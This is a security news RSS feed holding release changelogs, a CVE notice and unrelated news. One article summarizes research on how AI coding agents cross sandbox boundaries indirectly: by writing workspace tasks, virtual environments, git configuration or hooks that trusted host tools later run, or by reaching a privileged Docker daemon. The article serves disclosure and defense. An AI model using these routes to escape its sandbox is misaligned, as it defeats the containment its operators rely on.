<li>Report manager-not-ready sync failures as deferred by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894783919" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37720" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37720/hovercard" href="https://github.com/wazuh/wazuh/pull/37720">#37720</a></li>
<li>wazuh-engine: Indexer connector exponential backoff by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914391566" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37756" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37756/hovercard" href="https://github.com/wazuh/wazuh/pull/37756">#37756</a></li>
<li>Fix issue reference in the daemons stats changelog entry by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938483459" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37827" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37827/hovercard" href="https://github.com/wazuh/wazuh/pull/37827">#37827</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/wazuh/wazuh/compare/v5.0.0-beta3...v5.0.0-beta4"><tt>v5.0.0-beta3...v5.0.0-beta4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents can escape sandboxes without ever breaking them]]></title>
<description><![CDATA[Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. 



Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity c...]]></description>
<link>https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</guid>
<pubDate>Tue, 21 Jul 2026 13:53:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. </p>



<p class="wp-block-paragraph">Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity can indirectly cross security boundaries without technically escaping their sandboxes.</p>



<p class="wp-block-paragraph">“In almost every case, the agent did not need to break the sandbox directly,” the researchers said in a blog post. “It only had to write something that a trusted component outside the sandbox would later run, load, scan, or treat as safe.”</p>



<p class="wp-block-paragraph">The findings outlined four specific and repeatable failure modes in AI sandboxes. These included denylist sandboxes failing growing OS complexity, workspace configurations turning out to be executable code, command allowlists trusting command names instead of invocations, and privileged local daemons that sit outside the sandbox entirely.</p>



<p class="wp-block-paragraph">“CISOs and security buyers need to realize that it’s not enough for an agentic IDE or CLI to have a sandbox,” the researchers said, adding that it is important to know where the sandbox’s actual boundary is.</p>



<h2 class="wp-block-heading">Escaping sandboxes without breaking them</h2>



<p class="wp-block-paragraph">Pillar challenged the basic understanding of sandboxing in AI-assisted development. Rather than escaping through kernel exploits or container breakouts, the demonstrated attacks relied on an indirect mechanism.</p>



<p class="wp-block-paragraph">In all shown attack paths, the agent remains confined while producing files that trusted host-side applications subsequently consume.</p>



<p class="wp-block-paragraph">Those files may include workspace configuration, automation scripts, IDE settings, and virtual environment contents that naturally participate in a developer’s workflow. When external tools later execute or interpret those files outside the sandbox, code originating from within the isolated environment effectively crosses the security boundary without violating the sandbox’s rules.</p>



<h2 class="wp-block-heading">Different sandbox escapes for different agents</h2>



<p class="wp-block-paragraph">Pillar demonstrated the pattern across multiple AI coding tools using different techniques. In Antigravity, the researchers <a href="https://www.pillar.security/blog/escaping-antigravitys-allow-default-seatbelt" target="_blank" rel="noreferrer noopener">exploited</a> weaknesses in the denylist-style macOS Seabelt profile and abused VS Code task configurations that were later executed outside the sandbox. Cursor, meanwhile, was shown to trust agent-created <a href="https://www.pillar.security/blog/the-sandbox-let-me-edit-a-venv-and-something-else-ran-it" target="_blank" rel="noreferrer noopener">Python virtual environments</a>, alternate <a href="https://www.pillar.security/blog/git-directories-do-not-have-to-be-called-git" target="_blank" rel="noreferrer noopener">Git directories</a>, and workspace <a href="https://www.pillar.security/blog/the-hook-was-already-in-the-workspace" target="_blank" rel="noreferrer noopener">hook configurations </a>that ultimately ran with host privileges.</p>



<p class="wp-block-paragraph">The researchers also found a <a href="https://www.pillar.security/blog/one-docker-socket-to-rule-them-all-escaping-codex-cursor-and-gemini-clis-sandboxes" target="_blank" rel="noreferrer noopener">common escape path</a> affecting Cursor, Codex CLI, and Gemini CLI through Docker Desktop’s privileged daemon, allowing sandboxed agents to execute commands outside their restricted environments.</p>



<p class="wp-block-paragraph">In another Codex CLI finding, a supposedly safe Git allowlist could be manipulated to modify repository configuration and trigger code execution at a later stage.</p>



<h2 class="wp-block-heading">Agentic development demands a different security model</h2>



<p class="wp-block-paragraph">Pilar argued that enterprises need a new security model for agentic software. The existing endpoint protections typically focus on whether a process can escape its execution environment. But autonomous agents challenge this by continuously generating content that other trusted systems consume.</p>



<p class="wp-block-paragraph">The researchers recommended treating workspace configurations that can trigger execution as sensitive assets, requiring explicit approval before agents create or modify host-side automation, ensuring that helper processes operate under the same security policy as direct agent execution, and preserving provenance that distinguishes user-created files from repository- or agent-generated content. </p>



<p class="wp-block-paragraph">Organizations were also advised to model security policies around command side effects rather than simply process invocation, limit access to privileged local services, and monitor trust handoffs throughout the development workflow.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8593 | Checkmk up to 2.3.0p48/2.4.0p33/2.5.0p8 BI permission (EUVD-2026-46165)]]></title>
<description><![CDATA[A vulnerability was found in Checkmk up to 2.3.0p48/2.4.0p33/2.5.0p8. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component BI. The manipulation results in permission issues.

This vulnerability is known as CVE-2026-8593. It is possible to l...]]></description>
<link>https://tsecurity.de/de/3683228/sicherheitsluecken/cve-2026-8593-checkmk-up-to-230p48240p33250p8-bi-permission-euvd-2026-46165/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683228/sicherheitsluecken/cve-2026-8593-checkmk-up-to-230p48240p33250p8-bi-permission-euvd-2026-46165/</guid>
<pubDate>Tue, 21 Jul 2026 11:42:49 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/checkmk">Checkmk up to 2.3.0p48/2.4.0p33/2.5.0p8</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this vulnerability is an unknown functionality of the component <em>BI</em>. The manipulation results in permission issues.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-8593">CVE-2026-8593</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google wants to release 32 million sterile mosquitoes. Our Australian tests offer a valuable lesson | Nigel Beebe for the Conversation]]></title>
<description><![CDATA[Google’s ‘Debug’ project in California and Florida aims to reduce mosquito numbers by releasing millions of sterilised malesIn the United States, Google’s (now Alphabet) Debug initiative has asked the federal government for permission to release up to 32 million sterilised male mosquitoes in Cali...]]></description>
<link>https://tsecurity.de/de/3683035/it-nachrichten/google-wants-to-release-32-million-sterile-mosquitoes-our-australian-tests-offer-a-valuable-lesson-nigel-beebe-for-the-conversation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683035/it-nachrichten/google-wants-to-release-32-million-sterile-mosquitoes-our-australian-tests-offer-a-valuable-lesson-nigel-beebe-for-the-conversation/</guid>
<pubDate>Tue, 21 Jul 2026 10:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google’s ‘Debug’ project in California and Florida aims to reduce mosquito numbers by releasing millions of sterilised males</p><p>In the United States, Google’s (now Alphabet) Debug initiative has asked the federal government for permission to release up to 32 million <a href="https://www.theguardian.com/technology/2026/jun/01/google-permission-release-mosquitoes-california-florida">sterilised male mosquitoes</a> in California and Florida.</p><p>Male mosquitoes don’t bite or <a href="https://www.csiro.au/en/news/all/news/2018/july/trial-wipes-out-more-than-80-per-cent-of-disease-spreading-mozzie">carry disease</a>. The hope is these millions of male mosquitoes will mate with disease-carrying females, the eggs won’t hatch and mosquito numbers will fall.</p> <a href="https://www.theguardian.com/environment/2026/jul/21/google-mosquito-project-release-debug-australia-test">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hugging Face fights AI hacks, World Cup streamers get red cards, WordPress enters a patching race]]></title>
<description><![CDATA[Hugging Face fights AI hacks with AI World Cup streamers get a red card WordPress enters a patching race Get the show notes here: Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data,…
Read more →
The post Hugging Face fights AI hacks, World Cup streamers get...]]></description>
<link>https://tsecurity.de/de/3682928/it-security-nachrichten/hugging-face-fights-ai-hacks-world-cup-streamers-get-red-cards-wordpress-enters-a-patching-race/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682928/it-security-nachrichten/hugging-face-fights-ai-hacks-world-cup-streamers-get-red-cards-wordpress-enters-a-patching-race/</guid>
<pubDate>Tue, 21 Jul 2026 09:38:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hugging Face fights AI hacks with AI World Cup streamers get a red card WordPress enters a patching race Get the show notes here: Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hugging-face-fights-ai-hacks-world-cup-streamers-get-red-cards-wordpress-enters-a-patching-race/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hugging-face-fights-ai-hacks-world-cup-streamers-get-red-cards-wordpress-enters-a-patching-race/">Hugging Face fights AI hacks, World Cup streamers get red cards, WordPress enters a patching race</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox 153 offers built-in container tabs, rounded corners + more]]></title>
<description><![CDATA[Mozilla has released Firefox 153 with built-in containers, QR code generation and more quick actions in the address bar. This is the final “monthly” stable release before Mozilla moves to a faster release cadence, putting out new stable versions of Firefox every two weeks. On an unrelated note, F...]]></description>
<link>https://tsecurity.de/de/3682432/linux-tipps/firefox-153-offers-built-in-container-tabs-rounded-corners-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682432/linux-tipps/firefox-153-offers-built-in-container-tabs-rounded-corners-more/</guid>
<pubDate>Tue, 21 Jul 2026 02:21:21 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/05/firefox-153.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Mozilla has released Firefox 153 with built-in containers, QR code generation and more quick actions in the address bar. This is the final “monthly” stable release before Mozilla moves to a faster release cadence, putting out new stable versions of Firefox every two weeks. On an unrelated note, Firefox has resumed activity on X (formerly Twitter) after a year of no activity. Like all updates, you can get this one for Windows, macOS and Linux, as well as for Android and iOS (mobile versions have different features and are not covered in this post). Firefox gets built-in Containers Containers are […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/firefox-153-new-containers-feature">Firefox 153 offers built-in container tabs, rounded corners + more</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.216]]></title>
<description><![CDATA[What's changed

Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
Fixed auto mode ...]]></description>
<link>https://tsecurity.de/de/3682279/downloads/v21216/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682279/downloads/v21216/</guid>
<pubDate>Tue, 21 Jul 2026 00:16:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>sandbox.filesystem.disabled</code> setting to skip filesystem isolation while keeping network egress control</li>
<li>Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes</li>
<li>Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session</li>
<li>Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording</li>
<li>Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes</li>
<li>Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of <code>c</code>-operators and paste, statusline running twice on resume, and resume-picker hangs on failure</li>
<li>Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored</li>
<li>Fixed worktree-isolated subagents redirecting git into the shared checkout via <code>git -C</code>, <code>--git-dir</code>, or <code>GIT_DIR</code>/<code>GIT_WORK_TREE</code></li>
<li>Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project</li>
<li>Fixed background sessions whose worktree has no git repository being undeletable</li>
<li>Fixed <code>claude daemon stop --any</code> potentially terminating an unrelated process via a stale legacy daemon lockfile</li>
<li>Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks</li>
<li>Fixed Bash command permission checking for compound statements with redirects inside <code>&amp;&amp;</code> lists or negations</li>
<li>Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died</li>
<li>Fixed background subagents getting cancelled when a high-priority message arrives during their startup window</li>
<li>Fixed mouse and focus garbage in the terminal while a GUI editor from <code>/memory</code>, <code>/plan</code>, <code>/keybindings</code>, or Ctrl+G is open; <code>/memory</code> no longer waits for the editor to close</li>
<li>Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope</li>
<li>Fixed workflow saves and scheduled-task writes following a symlink at <code>.claude</code>, which could redirect writes outside the project</li>
<li>Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command</li>
<li>Fixed read-only commands on Windows accessing network paths without a permission prompt</li>
<li>Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries</li>
<li>Fixed PowerShell tool permission validation of commands containing invisible Unicode characters</li>
<li>Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel</li>
<li>Fixed the <code>/config</code> settings list in fullscreen mode clipping its keyboard-hint footer</li>
<li>Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns</li>
<li>Fixed the Prometheus metrics endpoint (<code>OTEL_METRICS_EXPORTER=prometheus</code>) emitting invalid <code># UNIT</code> lines</li>
<li>Fixed skills and commands changed during a session not appearing in the slash menu until restart</li>
<li>Fixed plugin skills with a <code>name</code> frontmatter field losing their plugin prefix in slash-command autocomplete</li>
<li>Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections</li>
<li>Improved the <code>/fork</code> confirmation to one line with the new session's name, <code>claude attach</code> id, and a note when the copy shares your checkout</li>
<li>Improved validation of <code>git</code> and <code>gh</code> command arguments in the PowerShell tool</li>
<li>Improved the <code>/ultrareview</code> diff-too-large error to show configured limits, measured diff size, and largest contributing files</li>
<li>Improved <code>/code-review ultra</code> empty-diff message to name the exact base ref and suggest passing an explicit base</li>
<li>Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected</li>
<li><code>/context</code> now shows an explicit warning when the conversation exceeds the context window, and a failed <code>/compact</code> displays as an error</li>
<li><code>/rewind</code> no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped</li>
<li>Background sessions: <code>/mcp</code> and <code>/install-github-app</code> now park a "needs input" request in the agent view when no client is attached</li>
<li>Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts</li>
<li>[VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code</li>
<li>Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.2-rc0: cuda: add CC 10.0 for linux in CUDA v12 (#17025)]]></title>
<description><![CDATA[Add compute capability 10.0 to the Linux CUDA v12 preset so B200-class devices can use the cuda_v12 backend with drivers that do not meet the CUDA v13 minimum.
Fixes #12583]]></description>
<link>https://tsecurity.de/de/3682126/downloads/v0322-rc0-cuda-add-cc-100-for-linux-in-cuda-v12-17025/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682126/downloads/v0322-rc0-cuda-add-cc-100-for-linux-in-cuda-v12-17025/</guid>
<pubDate>Mon, 20 Jul 2026 22:46:55 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Add compute capability 10.0 to the Linux CUDA v12 preset so B200-class devices can use the cuda_v12 backend with drivers that do not meet the CUDA v13 minimum.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3506534195" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/12583" data-hovercard-type="issue" data-hovercard-url="/ollama/ollama/issues/12583/hovercard" href="https://github.com/ollama/ollama/issues/12583">#12583</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" 